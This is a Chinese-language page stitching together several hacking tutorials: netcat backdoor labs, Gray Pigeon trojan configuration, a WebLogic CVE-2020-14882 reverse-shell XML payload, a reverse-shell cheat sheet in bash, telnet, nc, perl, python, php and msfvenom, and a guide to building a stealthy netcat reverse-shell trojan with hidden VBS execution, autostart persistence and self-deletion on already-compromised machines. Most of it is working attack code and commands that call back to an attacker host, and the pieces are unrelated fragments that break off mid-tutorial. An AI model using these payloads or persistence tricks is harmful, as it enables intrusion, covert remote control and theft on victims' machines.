利用NC来制作自己的反弹木马
- 格式:doc
- 大小:1.88 MB
- 文档页数:9
NC连接实验实验内容与步骤:【实验步骤】⼀、获得远程主机的shell使⽤已知的⽅法获取远程主机的Shell(利⽤实验台实验时可以直接利⽤实验台的实验⼯具箱下载nc程序,可跳过1、2步)。
⼆、拷贝nc程序命令⾏下拷贝远程⽂件主要有以下⼏种⽅法:(1)ftp服务,在远程命令⾏下使⽤ftp命令下载⽂件,ftp使⽤TCP协议作为⽂件传输协议。
(2)tftp服务,tftp类似于FTP,它使⽤UDP协议作为传输协议。
(3)共享⽬录拷贝。
三、运⾏ncNC功能强⼤,可以运⾏在监听状态,等待远程连接,从⽽起到后门的作⽤,具体命令如下:nc –l –p 999 –vv –e cmd.exe ,其中999为本地监听的供远程主机连接的端⼝,如下图所⽰。
图3.5.8-2四、远程连接本地使⽤Telnet连接远程nc所监听的999端⼝,如下图所⽰。
图3.5.8-3稍等⼏秒钟,则会显⽰远程主机的命令⾏,如下图所⽰。
图3.5.8-4同时远程主机中也会提⽰当前连接状态,如图3.5.8-5所⽰。
图3.5.8-5五、AT命令(1)定时关机在本地的telnet窗⼝内输⼊命令:at 14:40 shutdown –s –t 40该命令运⾏后,到了14:40点,实验台会出现“系统关机”对话框,并默认40秒延时⾃动关机。
图3.5.8-6图3.5.8-7(2)取消已经安排的计划命令:at 1 /Delete1为指派给已计划命令的标识编号,这样既可删除计划<灰鸽⼦远程控制软件>【实验步骤】⼀、⽊马制作启动实验台,并设置实验台的IP地址,以实验台为⽬标主机进⾏攻防试验。
(1)在学⽣客户端,下载⽊马制作程序,打开客户端程序(可能需退出安全程序),灰鸽⼦客户端的操作界⾯如下图所⽰。
图3.5.8-9⾸先需要配置服务程序。
点击“配置服务程序”,出现如下图所⽰的界⾯。
图3.5.8-10在“⾃动上线设置”⾥,填写上“IP通知http访问地址、DNS解析域名或固定IP地址,然后设置连接密码,如下图所⽰。
CVE-2020-14882漏洞复现(反弹shell)⼀、漏洞描述2020年10⽉28⽇,Oracle发布的10⽉安全更新中的Oracle WebLogic Server 远程代码执⾏漏洞(CVE-2020-14882)POC被公开,远程攻击者可以通过发送恶意的影响版本WebLogic 10.3.6.0.0WebLogic 12.1.3.0.0WebLogic 12.2.1.3.0WebLogic 12.2.1.4.0WebLogic 14.1.1.0.0⼆、漏洞环境搭建需要准备的⼯具如下:1.docker+vulhub漏洞库2.kali虚拟机3.靶机Ubuntu18.04虚拟机(其他也可以)4.Burpsuite打开Ubuntu虚拟机,有docker环境和vulhub漏洞库的话就直接进⼊环境,没有的话先安装docker和下载vulhub漏洞库(⽹上教程很多,这⾥就不多介绍了)root@admin666-virtual-machine:~/vulhub/weblogic/CVE-2020-14882#执⾏命令 docker-compose up -droot@admin666-virtual-machine:~/vulhub/weblogic/CVE-2020-14882# docker-compose up -d三、漏洞利⽤漏洞2:利⽤xml反弹shell<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="/schema/beans"xmlns:xsi="/2001/XMLSchema-instance"xsi:schemaLocation="/schema/beans /schema/beans/spring-beans.xsd"><bean id="pb" class="ng.ProcessBuilder" init-method="start"><constructor-arg><list><value>bash</value><value>-c</value><value><![CDATA[bash -i >& /dev/tcp/ip/port 0>&1]]></value></list></constructor-arg></bean></beans>⽽后打开kali,访问构造好的payload(这⾥将包放在Burp中),使⽤nc监听反弹端⼝即可成功反弹shell四、关闭docker环境docker-compose down。
反弹shell利⽤⽅式反弹shell1.bash反弹攻击机监听端⼝netcat: nc -nvlp 4444-n: 不反向解析dns,即不通过ip解析域名 no dns-v: 详细信息输出 verbose-l: 监听 listen-p: 指定端⼝ port靶机执⾏shell命令bash -i >& /dev/tcp/攻击机ip/攻击机port 0>&1bash -i:交互式shell>& :输⼊输出重定向:0 stdin, 1 stdout, 2 stderr/dev/tcp/ip/port: 特殊⽂件注: /dev/tcp/ 是Linux中的⼀个特殊设备,打开这个⽂件就相当于发出了⼀个socket调⽤,建⽴⼀个socket连接,读写这个⽂件就相当于在这个socket连接中传输数据。
同理,Linux中还存在/dev/udp/。
2.telnet反弹攻击机监听端⼝启动两个终端netcat: nc -nvlp 4444netcat: nc -nvlp 5555靶机telnet反弹shelltelnet 攻击机ip 4444 | /bin/bash | telnet 攻击机ip 5555注:bash进程的 0 ,1 :stdin,stdout 标准输⼊输出描述符都重定向到pipe,关联两个telnet进程,两个telnet进程分别与攻击机两个端⼝建⽴了socket连接3.nc(netcat)反弹攻击机监听端⼝nc -nvlp 4444靶机连接端⼝并反弹shellnc -v 攻击机ip 4444 -e /bin/bash-e: 指定nc连接成功后执⾏的程序4.perl反弹攻击机监听端⼝nc -nvlp 4444靶机perl反弹shellperl -e 'use Socket;$i="攻击机ip";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};5.python反弹攻击机监听端⼝nc -nvlp 4444靶机python反弹shellpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);6.php反弹攻击机监听端⼝nc -nvlp 4444靶机php反弹shellphp -r '$sock=fsockopen("攻击机ip",4444);exec("/bin/bash -i <&3 >&3 2>&3");'7.msf ⽣成⽊马反弹shellmsfvenom ⽣成⽊马1. ⽣成php反弹⽊马:msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f raw > /root/shell.php2. ⽣成windows反弹⽊马:msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f exe > /root/hacker.exe3. ⽣成linux反弹⽊马:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f elf > /root/shellmsfconsole 控制台监听1. 选择监听模块:use exploit/multi/handler2. 设置payload反弹:set payload windows/meterpreter/reverse_tcp注:此处为⽣成⽊马payload3. 设置LHOST、LPORT参数:set LHOST 攻击机ip set LPORT 监听端⼝注:和⽣成⽊马设置对应4. exploit 或 run 开始攻击,进⾏监听5. 等待靶机运⾏⽊马,msf产⽣session会话msfvenom 命令参数: -p, --payload <payload> 指定需要使⽤的payload(攻击荷载)。
如果你访问××网站(国内某门户网站),你就会中灰鸽子木马。
这是我一黑客朋友给我说的一句说。
打开该网站的首页,经检查,我确实中了灰鸽子。
怎么实现的呢?他说,他侵入了该网站的服务器并在网站主页上挂了网页木马;一些安全专家常说,不要打开陌生人发来的网址,为什么?因为该网址很有可能就是一些不怀好意者精心制作的网页木马。
以上只是网页木马的两种形式,实际上网页木马还可以挂在多媒体文件(RM、RMVB、WMV、WMA、Flash)、电子邮件、论坛等多种文件和场合上。
很可怕吧,那么用户如何防范网页木马呢?下面我们就先从网页木马的攻击原理说起。
一、网页木马的攻击原理首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。
为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。
有朋友会说,打开一个网页,IE浏览器真的能自动下载程序和运行程序吗?如果IE真的能肆无忌惮地任意下载和运行程序,那天下还不大乱。
实际上,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。
下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。
⒈自动下载程序<SCRIPT LANGUAGE="icyfoxlovelace"src="/1.exe"></SCRIPT>小提示:代码说明a. 代码中“src”的属性为程序的网络地址,本例中“/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序,这段代码能让网页下载该程序到浏览它的电脑上。
实验指导5 木马攻击与防范实验1.实验目的理解和掌握木马传播和运行的机制,掌握检查和删除木马的技巧,学会防御木马的相关知识,加深对木马的安全防范意识。
2.预备知识木马及木马技术的介绍(1)木马概念介绍很多人把木马看得很神秘,其实,木马就是在用户不知道的情况下被植入用户计算机,用来获取用户计算机上敏感信息(如用户口令,个人隐私等)或使攻击者可以远程控制用户主机的一个客户服务程序。
这种客户/服务模式的原理是一台主机提供服务(服务器),另一台主机使用服务(客户机)。
作为服务器的主机一般会打开一个默认的端口并进行监听(Listen),如果有客户机向服务器的这一端口提出连接请求(Connect Request),服务器上的相应守护进程就会自动运行,来应答客户机的请求。
通常来说,被控制端相当于一台服务器,控制端则相当于一台客户机,被控制端为控制端提供预定的服务。
(2)木马的反弹端口技术由于防火墙对于进入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。
于是,与一般的木马相反,反弹端口型木马的服务端 (被控制端)使用主动端口,客户端 (控制端)使用被动端口。
木马定时监测控制端的存在,发现控制端上线立即弹出端口主动连结控制端打开的主动端口;为了隐蔽起见,控制端的被动端口一般开在80,这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似TCP UserIP:1026 ControllerIP:80 ESTABLISHED 的情况,稍微疏忽一点,你就会以为是自己在浏览网页。
(3)线程插入技术木马程序的攻击性有了很大的加强,在进程隐藏方面,做了较大的改动,不再采用独立的EXE可执行文件形式,而是改为内核嵌入方式、远程线程插入技术、挂接PSAPI等。
这样木马的攻击性和隐藏性就大大增强了。
木马攻击原理特洛伊木马是一个程序,它驻留在目标计算机里,可以随计算机自动启动并在某一端口进行侦听,在对接收的数据识别后,对目标计算机执行特定的操作。
利用NC来制作自己的反弹木马免责申明:我也是第一次公开写这样的东西,不过写此文的目的是为了技术上的研究,把我自己的一些方法和技巧讲出来,和大家一起探讨,希望大家能提出意见.并不是教大家如何利用此方法去破坏别人的电脑!请不要用于非法目的,否则一切责任自负与我无关,呵呵~~~我可不想做黑鹰的大米呀.一、必须掌握的基础知识;NC这个工具对于一个黑客来说再熟悉不过了,可以说是每个黑客必备工具之一,被称做黑客的一把瑞士军刀!可见其地位之高.大家有兴趣的话自己去看一下有关NC的一些详细用法吧,我在这里就不多说了,这不是我这次要讲的主题,我只把其中我用到的一些参数介绍给大家.NC并不是一个图形界面的工具,但它有很强大的正向链接、反向链接、扫描和监听PORT等功能!对于木马,它的种类也有很多,但最让人喜欢的还是具有反弹功能的木马,它可以让我们一劳永逸,一次种植成功以后便自动找上门来,呵呵~~~事半功倍呀!这也是我喜欢反向链接木马的一个原因。
(对于正向链接我最喜欢的一个工具就是radmin,原因就是它不会被杀。
)至于如何让别人中了你的木马、如何去入侵对方,然后给他种马我就不说了(这也不是我这次要说的主题)方法和手法有很多,就看你的技术了。
当你成功入侵一台机子后,你想做的事当然是永远的抓住它,不要让他轻易的溜走,那就赶快上传你自己的木马吧!这是我的通常做法。
这时一个优秀的木马会给我们很大帮助。
还是来说NC吧。
它的使的格式是这样的,在CMD下输入:NC.EXE [参数1] [参数2] ……主机名(或IP)。
NC有很多的参数,它的功能就体现在这些参数上。
这里有几个要用到的、必需掌握的参数给大家简略的介绍一下:-l监听模式,可以监听本地的PORT即端口;-p设置端口,后加端口号;-v显示详细信息,-vv显示更详细信息;-t 以telnet交互方式来回应;-e程序重定向,可以把目标机的CMD重定向到一个端口上,然后我们在本机进行监听,这样就可以得到目标机的SHELL了,具体看后面我讲的例子吧;-d后台模式;主要的参数就这么多吧,我们通过下面的例子来一步一步学习吧!二、简单的几个例子;例如对本机TCP端口90的监听:nc.exe -l -v -p 90 127.0.0.1 意思是临听本机的TCP 端口90(如图1)。
(在这里如果是本机的话,可以省去主机名或IP,即不写127.0.0.1这时默认就是本机。
还有默认情况下-p端口就指的是TCP如果要临听UDP端口,则要加-u参数!)我们来验证一下结果,看是不是真的监听我们本机的90端口,先不运行NC我们用netstat -an这个命令来查看一下本机的端口,结果(如图2)没有发现TCP90端口被开放,我们运行nc.exe -l -v -p 90这样一个命令后,这时不要关闭这个监听窗口,再开一个CMD,然后再用nbtstat -an来查看本机所开放的端口,这时会发现TCP90端口被打开(如图3)如果你有fport这个工具的话,你还可以进一步查看到是哪个程序打开了本机TCP90端口!(如图4)(关于nbtstat和fport我就不做介绍了)。
先来看一个正向链接的例子,当我们成功进入别人的机子并上传了NC后,可以用这样一个命令来实现正向链接,(假设目标机的IP为222.91.203.208)在目标机上运行nc 127.0.0.1 123 -e cmd.exe即把它的cmd定向到它自己的123端口上。
那么我们在本机上就可以用nc -l -v 222.91.203.208 -p 123来监听它的123端口,从而得到对方的cmd。
或者用这样简单的命令来把CMD定向到99端口:nc -l -p 99 -t -e cmd.exe 然后我们在本机上用telnet来链接目标机,同样可以得到对方的shell.比如目标机的IP为:192.168.199.1,那么我们用telnet 192.168.199.1 99来链接对方!(如图5).以上就是两个正向链接的例子,其实也很简单,相信到此大家对nc应该有了一个大概的了解了吧?接下来我想重点说说它的反向链接功能。
三、反向链接的实现;所谓反向链接,简单的说就是目标机主动来链接我们的机子,而不用我们主动去找他,这样我们就省事的多了,当目标机上线后会自动来链接我们设定的端口(这算是我个人的理解吧,我也没有一个准确的定义).我们下面一步步来解实现,一步步来解决其中出现的问题,最终实现我们的目的!一个简单的例子,假设我们的IP为:219.144.20.42 那么在目标机上我们可以用这样的命令来实现反弹:nc -t -e cmd.exe 219.144.20.42 99(如图6).它的意思就是,把cmd定向在219.144.20.42(我们机子)的99端口上,那么我们在本机上直接监听99端口,就可的到shell,nc -l -p 99(如图7)(一点说明,就是以上操作应当先在本机监听,然后在目标机上执行重定向,这样才能实现反弹!).以上反弹的实现看起来很容易就能实现,但细想一下,在我们实际情况中并不是这样简单的,首先这样的反弹只是一次性的!因为对方和我们一般来说都是个人用户,都是动态的IP,重启后下次就不能用nc -t -e cmd.exe 219.144.20.42 99来和我们进行链接,因为我们的IP地址已经发生了变化!而且我们也不可能当我们的IP地址每变一次,我们就去入侵他一次,然后改变我们刚才的IP地址,这是不现实的.那么怎样来解决这一问题呢?怎样才能让它,当我们的IP 发生变化后仍然可以实现把它的shell反弹到我们的机子上来呢?这是关键的一步,为此我也曾冥思苦想,好长时间没有想出一个解决的办法.也没有人告诉我该怎么做!不过我并没有因此而放弃,我用nc本身所带的参数并不能实现我所要的功能,于是我把思路转在了nc之外,很快我想到"域名转向"这个方法,即使用动态域名!呵呵~~我终于成功了,功夫不负有心人啊,真的是有感而发.我使用的是希网网络提供的免费动态域名,大家可以到这个网上去注册一个!注册成功后会得到一个:用户名的动态域名,然后下载客户端软件,便可实现了!(关于动态域名的一些知识以及如何申请、使用客户端我在这里就不讲了,我只能说这不是我要讲的主题,有兴趣的朋友可以自己去试一下,很简单的)。
我申请的是并在本机上安装客户端软件(如图8)。
这样我们就可以用以下命令来实现反弹:nc -t -e cmd.exe 7788 -d我想大家一定能明白这行命令的意思吧?就是将本机的cmd重定向在的7788端口上,这里的就是我注册的动态域名转向了,因此无论我的IP如何变化都能够转到我的机子上来,只要在我的机子上监听7788端口便可以了,这样就实现了反弹的目的了,呵呵~~~现在想来其实也很简单的了,我基本什么也没有做!到此可以说理论上已经完成了,下一步就是怎样来完善了。
四、用VBS编程来实现通过刚才的例子我们可以知道,只用nc -t -e cmd.exe 7788 -d这样一句命令就可以实现反向链接了,那么如何让目标机一开机就把它的cmd定向到我的机子上来了呢?很多朋友会立刻想到用批处理来实现,这的确是一个不错的主意,用批处理最简单、最容易实现,对我们来说也是比较的熟悉。
但是用批处理有一个弊端,就是当我们把以上命令存为一个批处理文件并运行这个批处理时,会有一个DOS窗口一闪而过,虽然来不及看是什么,但别人一看也就明白了,这样很容易就会被发现!那么如何来避免呢?我采取的是用VBS 来编程实现,使用它的好处就是它不会弹出DOS窗口,同样能够完成批处理的功能。
(关于VBS的一些知识我不能在这里给大家介绍了,虽然我是只懂得一点点,但说起来恐怕真的三天也讲不明白个所以然,会影响了我要说的主题,也恐怕会引起一些人的不满,说我尽说些无关的话题,所以我写的程序我就不做详细解释了,如果看不懂的话可以照搬我程序,请大家原谅!)请将以下程序另存为nc.vbs然后和nc.exe一起存放在目标机的%systemroot%\system32下即可,然后我们在本机上监听7788端口,在目标机上运行nc.vbs 就能得到对方的shell。
nc.vbs程序内容如下:dim wshellset wshell=CreateObject("wscript.shell")wshell.run "nc -t -e cmd.exe 7788 -d",0,true 上面的程序其实就是执行了nc -t -e cmd.exe 7788 –d这样一条语句。
当我们成功的把nc.vbs和nc.exe上传到目标机上后,下一步如何让它实现自动运行的方法就有很多了,我想大家也能想到一些办法的,还是看我的一个具体实例吧。
前提是我已经通过其它方法成功进入了别人的一台机子,并用radmin建立了正向链接,而且也已经上传了nc.vbs和nc.exe这个不说了,看图吧(如图9)。
接下来我在我的机子上开始监听7788端口(如图10)。
我通过radmin的远程telnet功能在目标机上运行nc.vbs,然后就在我的机子上到得了对方的shell(如图11),从图中大家也可以看得出,我的机子是2000系统而对方的是XP!既然我得到了对方的shell 那么我就可以想做什么做什么了,呵呵~~。
进一步查看一下对方的机子吧,我查看了一下他机子的boot.ini发现这是一台xp Home Edition版的机子(如图12)。
我下步要做的就是把nc.vbs添加到目标机的autoexec.bat中,目的就是让它开机自动运行,来实现真正的反弹呀!呵呵`~~~。
我通过echo命令结合>>来给它添加(如图13)。
让它自动运行的方法有很多种,刚才我用的是修改autoexec.bat的方法来实现,我再讲一下添加注册表的方法吧,我同样用vbs来完成。
我们知道如果在注册表中HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\这个位置添加键值,便会开机自动运行。
所以我就用vbs程序来在以上位置添加nc.vbs,文件名为auto.vbs。
为了更加的隐蔽,我又添加了能实现自我删除的功能,就是当运行完auto.vbs文件后它首先会将%systemroot%\system32\nc.vbs添加到注册表中Run下,然后就自我删除!为了实现能够自我删除,我也想了好长时间、好多办法最后终于成功了,可能我的方法不是很正规和科学,但因水平有限只能暂且这样了,呵呵~~~看程序吧,将以下程序保存为auto.vbs。